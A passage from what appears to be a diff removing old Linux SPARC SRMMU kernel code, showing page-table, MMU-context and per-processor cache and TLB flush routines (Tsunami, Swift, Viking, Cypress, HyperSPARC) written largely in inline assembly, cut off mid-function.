srmmu_set_pte_cacheable(pte_t *ptep, pte_t pteval) -{ - srmmu_set_entry(ptep, pte_val(pteval)); -} - -static void srmmu_set_pte_nocache_hyper(pte_t *ptep, pte_t pteval) -{ - unsigned long page = ((unsigned long)ptep) & PAGE_MASK; - - srmmu_set_entry(ptep, pte_val(pteval)); - __asm__ __volatile__(" - lda [%0] %2, %%g4 - orcc %%g4, 0x0, %%g0 - be 2f - sethi %%hi(%7), %%g5 -1: subcc %%g5, %6, %%g5 ! hyper_flush_cache_page - bne 1b - sta %%g0, [%1 + %%g5] %3 - lda [%4] %5, %%g0 -2:" : /* no outputs */ - : "r" (page | 0x400), "r" (page), "i" (ASI_M_FLUSH_PROBE), - "i" (ASI_M_FLUSH_PAGE), "r" (SRMMU_FAULT_STATUS), "i" (ASI_M_MMUREGS), - "r" (vac_line_size), "i" (PAGE_SIZE) - : "g4", "g5"); -} - -static void srmmu_set_pte_nocache_cypress(pte_t *ptep, pte_t pteval) -{ - register unsigned long a, b, c, d, e, f, g; - unsigned long line, page; - - srmmu_set_entry(ptep, pte_val(pteval)); - page = ((unsigned long)ptep) & PAGE_MASK; - line = (page + PAGE_SIZE) - 0x100; - a = 0x20; b = 0x40; c = 0x60; d = 0x80; e = 0xa0; f = 0xc0; g = 0xe0; - goto inside; - do { - line -= 0x100; - inside: - __asm__ __volatile__("sta %%g0, [%0] %1\n\t" - "sta %%g0, [%0 + %2] %1\n\t" - "sta %%g0, [%0 + %3] %1\n\t" - "sta %%g0, [%0 + %4] %1\n\t" - "sta %%g0, [%0 + %5] %1\n\t" - "sta %%g0, [%0 + %6] %1\n\t" - "sta %%g0, [%0 + %7] %1\n\t" - "sta %%g0, [%0 + %8] %1\n\t" : : - "r" (line), - "i" (ASI_M_FLUSH_PAGE), - "r" (a), "r" (b), "r" (c), "r" (d), - "r" (e), "r" (f), "r" (g)); - } while(line != page); -} - -static void srmmu_set_pte_nocache_nomxccvik(pte_t *ptep, pte_t pteval) -{ - unsigned long vaddr; - int set; - int i; - - set = ((unsigned long)ptep >> 5) & 0x7f; - vaddr = (KERNBASE + PAGE_SIZE) | (set << 5); - srmmu_set_entry(ptep, pte_val(pteval)); - for (i = 0; i < 8; i++) { - __asm__ __volatile__ ("ld [%0], %%g0" : : "r" (vaddr)); - vaddr += PAGE_SIZE; - } -} - -static void srmmu_quick_kernel_fault(unsigned long address) -{ -#ifdef __SMP__ - printk("CPU[%d]: Kernel faults at addr=0x%08lx\n", - smp_processor_id(), address); - while (1) ; -#else - extern void die_if_kernel(char *str, struct pt_regs *regs); - printk("Kernel faults at addr=0x%08lx\n", address); - printk("PTE=%08lx\n", srmmu_hwprobe((address & PAGE_MASK))); - die_if_kernel("SRMMU bolixed...", current->tss.kregs); -#endif -} - -static inline void alloc_context(struct mm_struct *mm) -{ - struct ctx_list *ctxp; - - ctxp = ctx_free.next; - if(ctxp != &ctx_free) { - remove_from_ctx_list(ctxp); - add_to_used_ctxlist(ctxp); - mm->context = ctxp->ctx_number; - ctxp->ctx_mm = mm; - return; - } - ctxp = ctx_used.next; - if(ctxp->ctx_mm == current->mm) - ctxp = ctxp->next; - if(ctxp == &ctx_used) - panic("out of mmu contexts"); - flush_cache_mm(ctxp->ctx_mm); - flush_tlb_mm(ctxp->ctx_mm); - remove_from_ctx_list(ctxp); - add_to_used_ctxlist(ctxp); - ctxp->ctx_mm->context = NO_CONTEXT; - ctxp->ctx_mm = mm; - mm->context = ctxp->ctx_number; -} - -static inline void free_context(int context) -{ - struct ctx_list *ctx_old; - - ctx_old = ctx_list_pool + context; - remove_from_ctx_list(ctx_old); - add_to_free_ctxlist(ctx_old); -} - - -static void srmmu_switch_to_context(struct task_struct *tsk) -{ - if(tsk->mm->context == NO_CONTEXT) { - alloc_context(tsk->mm); - flush_cache_mm(tsk->mm); - ctxd_set(&srmmu_context_table[tsk->mm->context], tsk->mm->pgd); - flush_tlb_mm(tsk->mm); - } - srmmu_set_context(tsk->mm->context); -} - -static void srmmu_init_new_context(struct mm_struct *mm) -{ - alloc_context(mm); - - flush_cache_mm(mm); - ctxd_set(&srmmu_context_table[mm->context], mm->pgd); - flush_tlb_mm(mm); - - if(mm == current->mm) - srmmu_set_context(mm->context); -} - -/* Low level IO area allocation on the SRMMU. */ -void srmmu_mapioaddr(unsigned long physaddr, unsigned long virt_addr, int bus_type, int rdonly) -{ - pgd_t *pgdp; - pmd_t *pmdp; - pte_t *ptep; - unsigned long tmp; - - physaddr &= PAGE_MASK; - pgdp = srmmu_pgd_offset(init_task.mm, virt_addr); - pmdp = srmmu_pmd_offset(pgdp, virt_addr); - ptep = srmmu_pte_offset(pmdp, virt_addr); - tmp = (physaddr >> 4) | SRMMU_ET_PTE; - - /* I need to test whether this is consistent over all - * sun4m's. The bus_type represents the upper 4 bits of - * 36-bit physical address on the I/O space lines... - */ - tmp |= (bus_type << 28); - if(rdonly) - tmp |= SRMMU_PRIV_RDONLY; - else - tmp |= SRMMU_PRIV; - flush_page_to_ram(virt_addr); - set_pte(ptep, __pte(tmp)); - flush_tlb_all(); -} - -void srmmu_unmapioaddr(unsigned long virt_addr) -{ - pgd_t *pgdp; - pmd_t *pmdp; - pte_t *ptep; - - pgdp = srmmu_pgd_offset(init_task.mm, virt_addr); - pmdp = srmmu_pmd_offset(pgdp, virt_addr); - ptep = srmmu_pte_offset(pmdp, virt_addr); - - /* No need to flush uncacheable page. */ - set_pte(ptep, srmmu_mk_pte((unsigned long) EMPTY_PGE, PAGE_SHARED)); - flush_tlb_all(); -} - -static char *srmmu_lockarea(char *vaddr, unsigned long len) -{ - return vaddr; -} - -static void srmmu_unlockarea(char *vaddr, unsigned long len) -{ -} - -/* This is used in many routines below. */ -#define UWINMASK_OFFSET (const unsigned long)(&(((struct task_struct *)0)->tss.uwinmask)) - -/* On the SRMMU we do not have the problems with limited tlb entries - * for mapping kernel pages, so we just take things from the free page - * pool. As a side effect we are putting a little too much pressure - * on the gfp() subsystem. This setup also makes the logic of the - * iommu mapping code a lot easier as we can transparently handle - * mappings on the kernel stack without any special code as we did - * need on the sun4c. - */ -struct task_struct *srmmu_alloc_task_struct(void) -{ - return (struct task_struct *) kmalloc(sizeof(struct task_struct), GFP_KERNEL); -} - -unsigned long srmmu_alloc_kernel_stack(struct task_struct *tsk) -{ - unsigned long kstk = __get_free_pages(GFP_KERNEL, 1, 0); - - if(!kstk) - kstk = (unsigned long) vmalloc(PAGE_SIZE << 1); - - return kstk; -} - -static void srmmu_free_task_struct(struct task_struct *tsk) -{ - kfree(tsk); -} - -static void srmmu_free_kernel_stack(unsigned long stack) -{ - if(stack < VMALLOC_START) - free_pages(stack, 1); - else - vfree((char *)stack); -} - -/* Tsunami flushes. It's page level tlb invalidation is not very - * useful at all, you must be in the context that page exists in to - * get a match. - */ -static void tsunami_flush_cache_all(void) -{ - flush_user_windows(); - tsunami_flush_icache(); - tsunami_flush_dcache(); -} - -static void tsunami_flush_cache_mm(struct mm_struct *mm) -{ - FLUSH_BEGIN(mm) - flush_user_windows(); - tsunami_flush_icache(); - tsunami_flush_dcache(); - FLUSH_END -} - -static void tsunami_flush_cache_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ - FLUSH_BEGIN(mm) - flush_user_windows(); - tsunami_flush_icache(); - tsunami_flush_dcache(); - FLUSH_END -} - -static void tsunami_flush_cache_page(struct vm_area_struct *vma, unsigned long page) -{ - FLUSH_BEGIN(vma->vm_mm) - flush_user_windows(); - tsunami_flush_icache(); - tsunami_flush_dcache(); - FLUSH_END -} - -static void tsunami_flush_cache_page_to_uncache(unsigned long page) -{ - tsunami_flush_dcache(); -} - -/* Tsunami does not have a Copy-back style virtual cache. */ -static void tsunami_flush_page_to_ram(unsigned long page) -{ -} - -/* However, Tsunami is not IO coherent. */ -static void tsunami_flush_page_for_dma(unsigned long page) -{ - tsunami_flush_icache(); - tsunami_flush_dcache(); -} - -/* Tsunami has harvard style split I/D caches which do not snoop each other, - * so we have to flush on-stack sig insns. Only the icache need be flushed - * since the Tsunami has a write-through data cache. - */ -static void tsunami_flush_sig_insns(struct mm_struct *mm, unsigned long insn_addr) -{ - tsunami_flush_icache(); -} - -static void tsunami_flush_chunk(unsigned long chunk) -{ -} - -static void tsunami_flush_tlb_all(void) -{ - srmmu_flush_whole_tlb(); - module_stats.invall++; -} - -static void tsunami_flush_tlb_mm(struct mm_struct *mm) -{ - FLUSH_BEGIN(mm) - srmmu_flush_whole_tlb(); - module_stats.invmm++; - FLUSH_END -} - -static void tsunami_flush_tlb_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ - FLUSH_BEGIN(mm) - srmmu_flush_whole_tlb(); - module_stats.invrnge++; - FLUSH_END -} - -static void tsunami_flush_tlb_page(struct vm_area_struct *vma, unsigned long page) -{ - struct mm_struct *mm = vma->vm_mm; - - FLUSH_BEGIN(mm) - __asm__ __volatile__(" - lda [%0] %3, %%g5 - sta %1, [%0] %3 - sta %%g0, [%2] %4 - sta %%g5, [%0] %3" - : /* no outputs */ - : "r" (SRMMU_CTX_REG), "r" (mm->context), "r" (page & PAGE_MASK), - "i" (ASI_M_MMUREGS), "i" (ASI_M_FLUSH_PROBE) - : "g5"); - module_stats.invpg++; - FLUSH_END -} - -static void tsunami_flush_tlb_page_for_cbit(unsigned long page) -{ - srmmu_flush_tlb_page(page); -} - -/* Swift flushes. It has the recommended SRMMU specification flushing - * facilities, so we can do things in a more fine grained fashion than we - * could on the tsunami. Let's watch out for HARDWARE BUGS... - */ - -static void swift_flush_cache_all(void) -{ - flush_user_windows(); - swift_idflash_clear(); -} - -static void swift_flush_cache_mm(struct mm_struct *mm) -{ - FLUSH_BEGIN(mm) - flush_user_windows(); - swift_idflash_clear(); - FLUSH_END -} - -static void swift_flush_cache_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ - FLUSH_BEGIN(mm) - flush_user_windows(); - swift_idflash_clear(); - FLUSH_END -} - -static void swift_flush_cache_page(struct vm_area_struct *vma, unsigned long page) -{ - FLUSH_BEGIN(vma->vm_mm) - flush_user_windows(); - if(vma->vm_flags & VM_EXEC) - swift_flush_icache(); - swift_flush_dcache(); - FLUSH_END -} - -/* Not copy-back on swift. */ -static void swift_flush_page_to_ram(unsigned long page) -{ -} - -/* But not IO coherent either. */ -static void swift_flush_page_for_dma(unsigned long page) -{ - swift_flush_dcache(); -} - -/* Again, Swift is non-snooping split I/D cache'd just like tsunami, - * so have to punt the icache for on-stack signal insns. Only the - * icache need be flushed since the dcache is write-through. - */ -static void swift_flush_sig_insns(struct mm_struct *mm, unsigned long insn_addr) -{ - swift_flush_icache(); -} - -static void swift_flush_cache_page_to_uncache(unsigned long page) -{ - swift_flush_dcache(); -} - -static void swift_flush_chunk(unsigned long chunk) -{ -} - -static void swift_flush_tlb_all(void) -{ - srmmu_flush_whole_tlb(); - module_stats.invall++; -} - -static void swift_flush_tlb_mm(struct mm_struct *mm) -{ - FLUSH_BEGIN(mm) - srmmu_flush_whole_tlb(); - module_stats.invmm++; - FLUSH_END -} - -static void swift_flush_tlb_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ - FLUSH_BEGIN(mm) - srmmu_flush_whole_tlb(); - module_stats.invrnge++; - FLUSH_END -} - -static void swift_flush_tlb_page(struct vm_area_struct *vma, unsigned long page) -{ - FLUSH_BEGIN(vma->vm_mm) - srmmu_flush_whole_tlb(); - module_stats.invpg++; - FLUSH_END -} - -static void swift_flush_tlb_page_for_cbit(unsigned long page) -{ - srmmu_flush_whole_tlb(); -} - -/* The following are all MBUS based SRMMU modules, and therefore could - * be found in a multiprocessor configuration. On the whole, these - * chips seems to be much more touchy about DVMA and page tables - * with respect to cache coherency. - */ - -/* Viking flushes. For Sun's mainline MBUS processor it is pretty much - * a crappy mmu. The on-chip I&D caches only have full flushes, no fine - * grained cache invalidations. It only has these "flash clear" things - * just like the MicroSparcI. Added to this many revs of the chip are - * teaming with hardware buggery. Someday maybe we'll do direct - * diagnostic tag accesses for page level flushes as those should - * be painless and will increase performance due to the frequency of - * page level flushes. This is a must to _really_ flush the caches, - * crazy hardware ;-) - */ - -static void viking_flush_cache_all(void) -{ -} - -static void viking_flush_cache_mm(struct mm_struct *mm) -{ -} - -static void viking_flush_cache_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ -} - -static void viking_flush_cache_page(struct vm_area_struct *vma, unsigned long page) -{ -} - -/* Non-mxcc vikings are copy-back but are pure-physical so no flushing. */ -static void viking_flush_page_to_ram(unsigned long page) -{ -} - -static void viking_mxcc_flush_chunk(unsigned long chunk) -{ -} - -/* All vikings have an icache which snoops the processor bus and is fully - * coherent with the dcache, so no flush is necessary at all. - */ -static void viking_flush_sig_insns(struct mm_struct *mm, unsigned long insn_addr) -{ -} - -static void viking_mxcc_flush_page(unsigned long page) -{ - unsigned long ppage = srmmu_v2p(page & PAGE_MASK); - unsigned long paddr0, paddr1; - - if (ppage == 0xffffffffUL) - return; - - paddr0 = 0x10; /* Set cacheable bit. */ - paddr1 = ppage; - - /* Read the page's data through the stream registers, - * and write it back to memory. This will issue - * coherent write invalidates to all other caches, thus - * should also be sufficient in an MP system. - */ - __asm__ __volatile__ ("or %%g0, %0, %%g2\n\t" - "or %%g0, %1, %%g3\n" - "1:\n\t" - "stda %%g2, [%2] %5\n\t" - "stda %%g2, [%3] %5\n\t" - "add %%g3, %4, %%g3\n\t" - "btst 0xfff, %%g3\n\t" - "bne 1b\n\t" - "nop\n\t" : : - "r" (paddr0), "r" (paddr1), - "r" (MXCC_SRCSTREAM), - "r" (MXCC_DESSTREAM), - "r" (MXCC_STREAM_SIZE), - "i" (ASI_M_MXCC) : "g2", "g3"); - - /* This was handcoded after a look at the gcc output from - * - * do { - * mxcc_set_stream_src(paddr); - * mxcc_set_stream_dst(paddr); - * paddr[1] += MXCC_STREAM_SIZE; - * } while (paddr[1] & ~PAGE_MASK); - */ -} - -static void viking_no_mxcc_flush_page(unsigned long page) -{ - unsigned long ppage = srmmu_v2p(page & PAGE_MASK); - int set, block; - unsigned long ptag[2]; - unsigned long vaddr; - int i; - - if (ppage == 0xffffffffUL) - return; - ppage >>= 12; - - for (set = 0; set < 128; set++) { - for (block = 0; block < 4; block++) { - - viking_get_dcache_ptag(set, block, ptag); - - if (ptag[1] != ppage) - continue; - if (!(ptag[0] & VIKING_PTAG_VALID)) - continue; - if (!(ptag[0] & VIKING_PTAG_DIRTY)) - continue; - - /* There was a great cache from TI - * with comfort as much as vi, - * 4 pages to flush, - * 4 pages, no rush, - * since anything else makes him die. - */ - vaddr = (KERNBASE + PAGE_SIZE) | (set << 5); - for (i = 0; i < 8; i++) { - __asm__ __volatile__ ("ld [%0], %%g2\n\t" : : - "r" (vaddr) : "g2"); - vaddr += PAGE_SIZE; - } - - /* Continue with next set. */ - break; - } - } -} - -static void viking_nomxcc_flush_chunk(unsigned long chunk) -{ - viking_no_mxcc_flush_page(chunk); -} - -/* Viking is IO cache coherent, but really only on MXCC. */ -static void viking_flush_page_for_dma(unsigned long page) -{ -} - -static unsigned long viking_no_mxcc_getpage(void) -{ - unsigned long page = get_free_page(GFP_KERNEL); - - viking_no_mxcc_flush_page(page); - return page; -} - -static void viking_flush_tlb_all(void) -{ - register int ctr asm("g5"); - - ctr = 0; - __asm__ __volatile__(" - 1: ld [%%g6 + %2], %%g4 ! flush user windows - orcc %%g0, %%g4, %%g0 - add %0, 1, %0 - bne 1b - save %%sp, -64, %%sp - 2: subcc %0, 1, %0 - bne 2b - restore %%g0, %%g0, %%g0" - : "=&r" (ctr) : "0" (ctr), "i" (UWINMASK_OFFSET) : "g4"); - srmmu_flush_whole_tlb(); - module_stats.invall++; -} - -static void viking_flush_tlb_mm(struct mm_struct *mm) -{ - register int ctr asm("g5"); - - FLUSH_BEGIN(mm) - ctr = 0; - __asm__ __volatile__(" -1: ld [%%g6 + %7], %%g4 ! flush user windows - orcc %%g0, %%g4, %%g0 - add %0, 1, %0 - bne 1b - save %%sp, -64, %%sp -2: subcc %0, 1, %0 - bne 2b - restore %%g0, %%g0, %%g0 - lda [%1] %4, %0 - sta %3, [%1] %4 - sta %%g0, [%2] %5 - sta %0, [%1] %4" - : "=&r" (ctr) - : "r" (SRMMU_CTX_REG), "r" (0x300), "r" (mm->context), - "i" (ASI_M_MMUREGS), "i" (ASI_M_FLUSH_PROBE), "0" (ctr), - "i" (UWINMASK_OFFSET) - : "g4"); - module_stats.invmm++; - FLUSH_END -} - -static void viking_flush_tlb_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ - register int ctr asm("g5"); - unsigned long size; - - FLUSH_BEGIN(mm) - ctr = 0; - __asm__ __volatile__(" - 1: ld [%%g6 + %2], %%g4 ! flush user windows - orcc %%g0, %%g4, %%g0 - add %0, 1, %0 - bne 1b - save %%sp, -64, %%sp - 2: subcc %0, 1, %0 - bne 2b - restore %%g0, %%g0, %%g0" - : "=&r" (ctr) : "0" (ctr), "i" (UWINMASK_OFFSET) : "g4"); - start &= SRMMU_PGDIR_MASK; - size = SRMMU_PGDIR_ALIGN(end) - start; - __asm__ __volatile__(" - lda [%0] %5, %%g5 - sta %1, [%0] %5 - 1: subcc %3, %4, %3 - bne 1b - sta %%g0, [%2 + %3] %6 - sta %%g5, [%0] %5" - : /* no outputs */ - : "r" (SRMMU_CTX_REG), "r" (mm->context), "r" (start | 0x200), - "r" (size), "r" (SRMMU_PGDIR_SIZE), "i" (ASI_M_MMUREGS), - "i" (ASI_M_FLUSH_PROBE) - : "g5"); - module_stats.invrnge++; - FLUSH_END -} - -static void viking_flush_tlb_page(struct vm_area_struct *vma, unsigned long page) -{ - struct mm_struct *mm = vma->vm_mm; - register int ctr asm("g5"); - - FLUSH_BEGIN(mm) - ctr = 0; - __asm__ __volatile__(" - 1: ld [%%g6 + %2], %%g4 ! flush user windows - orcc %%g0, %%g4, %%g0 - add %0, 1, %0 - bne 1b - save %%sp, -64, %%sp - 2: subcc %0, 1, %0 - bne 2b - restore %%g0, %%g0, %%g0" - : "=&r" (ctr) : "0" (ctr), "i" (UWINMASK_OFFSET) : "g4"); - __asm__ __volatile__(" - lda [%0] %3, %%g5 - sta %1, [%0] %3 - sta %%g0, [%2] %4 - sta %%g5, [%0] %3" - : /* no outputs */ - : "r" (SRMMU_CTX_REG), "r" (mm->context), "r" (page & PAGE_MASK), - "i" (ASI_M_MMUREGS), "i" (ASI_M_FLUSH_PROBE) - : "g5"); - module_stats.invpg++; - FLUSH_END -} - -static void viking_flush_tlb_page_for_cbit(unsigned long page) -{ - srmmu_flush_tlb_page(page); -} - -/* Cypress flushes. */ -static void cypress_flush_cache_all(void) -{ - volatile unsigned long cypress_sucks; - unsigned long faddr, tagval; - - flush_user_windows(); - for(faddr = 0; faddr < 0x10000; faddr += 0x20) { - __asm__ __volatile__("lda [%1 + %2] %3, %0\n\t" : - "=r" (tagval) : - "r" (faddr), "r" (0x40000), - "i" (ASI_M_DATAC_TAG)); - - /* If modified and valid, kick it. */ - if((tagval & 0x60) == 0x60) - cypress_sucks = *(unsigned long *)(0xf0020000 + faddr); - } -} - -static void cypress_flush_cache_mm(struct mm_struct *mm) -{ - register unsigned long a, b, c, d, e, f, g; - unsigned long flags, faddr; - int octx; - - FLUSH_BEGIN(mm) - flush_user_windows(); - save_and_cli(flags); - octx = srmmu_get_context(); - srmmu_set_context(mm->context); - a = 0x20; b = 0x40; c = 0x60; - d = 0x80; e = 0xa0; f = 0xc0; g = 0xe0; - - faddr = (0x10000 - 0x100); - goto inside; - do { - faddr -= 0x100; - inside: - __asm__ __volatile__("sta %%g0, [%0] %1\n\t" - "sta %%g0, [%0 + %2] %1\n\t" - "sta %%g0, [%0 + %3] %1\n\t" - "sta %%g0, [%0 + %4] %1\n\t" - "sta %%g0, [%0 + %5] %1\n\t" - "sta %%g0, [%0 + %6] %1\n\t" - "sta %%g0, [%0 + %7] %1\n\t" - "sta %%g0, [%0 + %8] %1\n\t" : : - "r" (faddr), "i" (ASI_M_FLUSH_CTX), - "r" (a), "r" (b), "r" (c), "r" (d), - "r" (e), "r" (f), "r" (g)); - } while(faddr); - srmmu_set_context(octx); - restore_flags(flags); - FLUSH_END -} - -static void cypress_flush_cache_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ - register unsigned long a, b, c, d, e, f, g; - unsigned long flags, faddr; - int octx; - - FLUSH_BEGIN(mm) - flush_user_windows(); - save_and_cli(flags); - octx = srmmu_get_context(); - srmmu_set_context(mm->context); - a = 0x20; b = 0x40; c = 0x60; - d = 0x80; e = 0xa0; f = 0xc0; g = 0xe0; - - start &= SRMMU_PMD_MASK; - while(start < end) { - faddr = (start + (0x10000 - 0x100)); - goto inside; - do { - faddr -= 0x100; - inside: - __asm__ __volatile__("sta %%g0, [%0] %1\n\t" - "sta %%g0, [%0 + %2] %1\n\t" - "sta %%g0, [%0 + %3] %1\n\t" - "sta %%g0, [%0 + %4] %1\n\t" - "sta %%g0, [%0 + %5] %1\n\t" - "sta %%g0, [%0 + %6] %1\n\t" - "sta %%g0, [%0 + %7] %1\n\t" - "sta %%g0, [%0 + %8] %1\n\t" : : - "r" (faddr), - "i" (ASI_M_FLUSH_SEG), - "r" (a), "r" (b), "r" (c), "r" (d), - "r" (e), "r" (f), "r" (g)); - } while (faddr != start); - start += SRMMU_PMD_SIZE; - } - srmmu_set_context(octx); - restore_flags(flags); - FLUSH_END -} - -static void cypress_flush_cache_page(struct vm_area_struct *vma, unsigned long page) -{ - register unsigned long a, b, c, d, e, f, g; - struct mm_struct *mm = vma->vm_mm; - unsigned long flags, line; - int octx; - - FLUSH_BEGIN(mm) - flush_user_windows(); - save_and_cli(flags); - octx = srmmu_get_context(); - srmmu_set_context(mm->context); - a = 0x20; b = 0x40; c = 0x60; - d = 0x80; e = 0xa0; f = 0xc0; g = 0xe0; - - page &= PAGE_MASK; - line = (page + PAGE_SIZE) - 0x100; - goto inside; - do { - line -= 0x100; - inside: - __asm__ __volatile__("sta %%g0, [%0] %1\n\t" - "sta %%g0, [%0 + %2] %1\n\t" - "sta %%g0, [%0 + %3] %1\n\t" - "sta %%g0, [%0 + %4] %1\n\t" - "sta %%g0, [%0 + %5] %1\n\t" - "sta %%g0, [%0 + %6] %1\n\t" - "sta %%g0, [%0 + %7] %1\n\t" - "sta %%g0, [%0 + %8] %1\n\t" : : - "r" (line), - "i" (ASI_M_FLUSH_PAGE), - "r" (a), "r" (b), "r" (c), "r" (d), - "r" (e), "r" (f), "r" (g)); - } while(line != page); - srmmu_set_context(octx); - restore_flags(flags); - FLUSH_END -} - -/* Cypress is copy-back, at least that is how we configure it. */ -static void cypress_flush_page_to_ram(unsigned long page) -{ - register unsigned long a, b, c, d, e, f, g; - unsigned long line; - - a = 0x20; b = 0x40; c = 0x60; d = 0x80; e = 0xa0; f = 0xc0; g = 0xe0; - page &= PAGE_MASK; - line = (page + PAGE_SIZE) - 0x100; - goto inside; - do { - line -= 0x100; - inside: - __asm__ __volatile__("sta %%g0, [%0] %1\n\t" - "sta %%g0, [%0 + %2] %1\n\t" - "sta %%g0, [%0 + %3] %1\n\t" - "sta %%g0, [%0 + %4] %1\n\t" - "sta %%g0, [%0 + %5] %1\n\t" - "sta %%g0, [%0 + %6] %1\n\t" - "sta %%g0, [%0 + %7] %1\n\t" - "sta %%g0, [%0 + %8] %1\n\t" : : - "r" (line), - "i" (ASI_M_FLUSH_PAGE), - "r" (a), "r" (b), "r" (c), "r" (d), - "r" (e), "r" (f), "r" (g)); - } while(line != page); -} - -static void cypress_flush_chunk(unsigned long chunk) -{ - cypress_flush_page_to_ram(chunk); -} - -/* Cypress is also IO cache coherent. */ -static void cypress_flush_page_for_dma(unsigned long page) -{ -} - -/* Cypress has unified L2 VIPT, from which both instructions and data - * are stored. It does not have an onboard icache of any sort, therefore - * no flush is necessary. - */ -static void cypress_flush_sig_insns(struct mm_struct *mm, unsigned long insn_addr) -{ -} - -static void cypress_flush_page_to_uncache(unsigned long page) -{ - register unsigned long a, b, c, d, e, f, g; - unsigned long line; - - a = 0x20; b = 0x40; c = 0x60; d = 0x80; e = 0xa0; f = 0xc0; g = 0xe0; - page &= PAGE_MASK; - line = (page + PAGE_SIZE) - 0x100; - goto inside; - do { - line -= 0x100; - inside: - __asm__ __volatile__("sta %%g0, [%0] %1\n\t" - "sta %%g0, [%0 + %2] %1\n\t" - "sta %%g0, [%0 + %3] %1\n\t" - "sta %%g0, [%0 + %4] %1\n\t" - "sta %%g0, [%0 + %5] %1\n\t" - "sta %%g0, [%0 + %6] %1\n\t" - "sta %%g0, [%0 + %7] %1\n\t" - "sta %%g0, [%0 + %8] %1\n\t" : : - "r" (line), - "i" (ASI_M_FLUSH_PAGE), - "r" (a), "r" (b), "r" (c), "r" (d), - "r" (e), "r" (f), "r" (g)); - } while(line != page); -} - -static unsigned long cypress_getpage(void) -{ - register unsigned long a, b, c, d, e, f, g; - unsigned long page = get_free_page(GFP_KERNEL); - unsigned long line; - - a = 0x20; b = 0x40; c = 0x60; d = 0x80; e = 0xa0; f = 0xc0; g = 0xe0; - page &= PAGE_MASK; - line = (page + PAGE_SIZE) - 0x100; - goto inside; - do { - line -= 0x100; - inside: - __asm__ __volatile__("sta %%g0, [%0] %1\n\t" - "sta %%g0, [%0 + %2] %1\n\t" - "sta %%g0, [%0 + %3] %1\n\t" - "sta %%g0, [%0 + %4] %1\n\t" - "sta %%g0, [%0 + %5] %1\n\t" - "sta %%g0, [%0 + %6] %1\n\t" - "sta %%g0, [%0 + %7] %1\n\t" - "sta %%g0, [%0 + %8] %1\n\t" : : - "r" (line), - "i" (ASI_M_FLUSH_PAGE), - "r" (a), "r" (b), "r" (c), "r" (d), - "r" (e), "r" (f), "r" (g)); - } while(line != page); - return page; -} - -static void cypress_flush_tlb_all(void) -{ - srmmu_flush_whole_tlb(); - module_stats.invall++; -} - -static void cypress_flush_tlb_mm(struct mm_struct *mm) -{ - FLUSH_BEGIN(mm) - __asm__ __volatile__(" - lda [%0] %3, %%g5 - sta %2, [%0] %3 - sta %%g0, [%1] %4 - sta %%g5, [%0] %3" - : /* no outputs */ - : "r" (SRMMU_CTX_REG), "r" (0x300), "r" (mm->context), - "i" (ASI_M_MMUREGS), "i" (ASI_M_FLUSH_PROBE) - : "g5"); - module_stats.invmm++; - FLUSH_END -} - -static void cypress_flush_tlb_range(struct mm_struct *mm, unsigned long start, unsigned long end) -{ - unsigned long size; - - FLUSH_BEGIN(mm) - start &= SRMMU_PGDIR_MASK; - size = SRMMU_PGDIR_ALIGN(end) - start; - __asm__ __volatile__(" - lda [%0] %5, %%g5 - sta %1, [%0] %5 - 1: subcc %3, %4, %3 - bne 1b - sta %%g0, [%2 + %3] %6 - sta %%g5, [%0] %5" - : /* no outputs */ - : "r" (SRMMU_CTX_REG), "r" (mm->context), "r" (start | 0x200), - "r" (size), "r" (SRMMU_PGDIR_SIZE), "i" (ASI_M_MMUREGS), - "i" (ASI_M_FLUSH_PROBE) - : "g5"); - module_stats.invrnge++; - FLUSH_END -} - -static void cypress_flush_tlb_page(struct vm_area_struct *vma, unsigned long page) -{ - struct mm_struct *mm = vma->vm_mm; - - FLUSH_BEGIN(mm) - __asm__ __volatile__(" - lda [%0] %3, %%g5 - sta %1, [%0] %3 - sta %%g0, [%2] %4 - sta %%g5, [%0] %3" - : /* no outputs */ - : "r" (SRMMU_CTX_REG), "r" (mm->context), "r" (page & PAGE_MASK), - "i" (ASI_M_MMUREGS), "i" (ASI_M_FLUSH_PROBE) - : "g5"); - module_stats.invpg++; - FLUSH_END -} - -static void cypress_flush_tlb_page_for_cbit(unsigned long page) -{ - srmmu_flush_tlb_page(page); -} - -/* Hypersparc flushes. Very nice chip... */ -static void hypersparc_flush_cache_all(void) -{ - register int ctr asm("g5"); - unsigned long tmp1; - - ctr = 0; - __asm__ __volatile__(" - 1: ld [%%g6 + %6], %%g4 ! flush user windows - orcc %%g0, %%g4, %%g0 - add %1, 1, %1 - bne 1b - save %%sp, -64, %%sp - 2: subcc %1, 1, %1 - bne 2b - restore %%g0, %%g0, %%g0 - 1: subcc %0, %3, %0 ! hyper_flush_unconditional_combined - bne 1b - sta %%g0, [%0] %4 - sta %%g0, [%%g0] %5 ! hyper_flush_whole_icache" - : "=&r" (tmp1), "=&r" (ctr) - : "0" (vac_cache_size), "r" (vac_line_size), - "i" (ASI_M_FLUSH_CTX), "i" (ASI_M_FLUSH_IWHOLE), - "i" (UWINMASK_OFFSET), "1" (ctr) - : "g4"); -} - -static void hypersparc_flush_cache_mm(struct mm_struct *mm) -{ - register int ctr asm("g5"); - - FLUSH_BEGIN(mm) - ctr = 0; - __asm__ __volatile__(" - 1: ld [%%g6 + %2], %%g4 ! flush user windows - orcc %%g0, %%g4, %%g0 - add %0, 1, %0 - bne 1b - save %%sp, -64, %%sp - 2: subcc %0, 1, %0 - bne 2b - restore %%g0, %%g0, %%g0" - : "=&r" (ctr) - : "0" (ctr), "i" (UWINMASK_OFFSET) - : "g4"); - - /* Gcc can bite me... */ -#if !defined(__svr4__) && !defined(__ELF__) - __asm__ __volatile__(" - sethi %hi(_vac_line_size), %g1 - ld [%g1 + %lo(_vac_line_size)], %o1 - sethi %hi(_vac_cache_size), %g2 - ld [%g2 + %lo(_vac_cache_size)], %o0"); -#else - __asm__ __volatile__(" - sethi %hi(vac_line_size), %g1 - ld [%g1 + %lo(vac_line_size)], %o1 - sethi %hi(vac_cache_size), %g2 - ld [%g2 + %lo(vac_cache_size)], %o0"); -#endif - - __asm__ __volatile__(" - add %%o1, %%o1, %%g1 - add %%o1, %%g1, %%g2 - add %%o1, %%g2, %%g3 - add %%o1, %%g3, %%g4 - add %%o1, %%g4, %%g5 - add %%o1, %%g5, %%o4 - add 